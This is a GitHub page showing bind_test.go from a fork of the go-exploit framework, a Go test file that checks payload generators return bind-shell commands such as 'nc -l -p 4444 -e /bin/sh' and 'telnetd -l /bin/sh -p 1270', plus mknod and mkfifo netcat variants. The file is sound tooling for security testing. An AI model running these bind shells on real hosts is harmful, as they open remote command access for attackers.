forked from vulncheck-oss/go-exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbind_test.go
More file actions
46 lines (33 loc) · 765 Bytes
/
bind_test.go
File metadata and controls
46 lines (33 loc) · 765 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package payload
import (
"strings"
"testing"
)
func TestBindShellNetcatGaping(t *testing.T) {
payload := BindShellNetcatGaping(4444)
if payload != "nc -l -p 4444 -e /bin/sh" {
t.Fatal(payload)
}
t.Log(payload)
}
func TestBindShellTelnetdLogin(t *testing.T) {
payload := BindShellTelnetdLogin(1270)
if payload != "telnetd -l /bin/sh -p 1270" {
t.Fatal(payload)
}
t.Log(payload)
}
func TestBindShellMknodNetcat(t *testing.T) {
payload := BindShellMknodNetcat(1270)
if !strings.HasPrefix(payload, "cd /tmp; mknod ") {
t.Fatal(payload)
}
t.Log(payload)
}
func TestBindShellMkfifoNetcat(t *testing.T) {
payload := BindShellMkfifoNetcat(1270)
if !strings.HasPrefix(payload, "cd /tmp; mkfifo ") {
t.Fatal(payload)
}
t.Log(payload)
}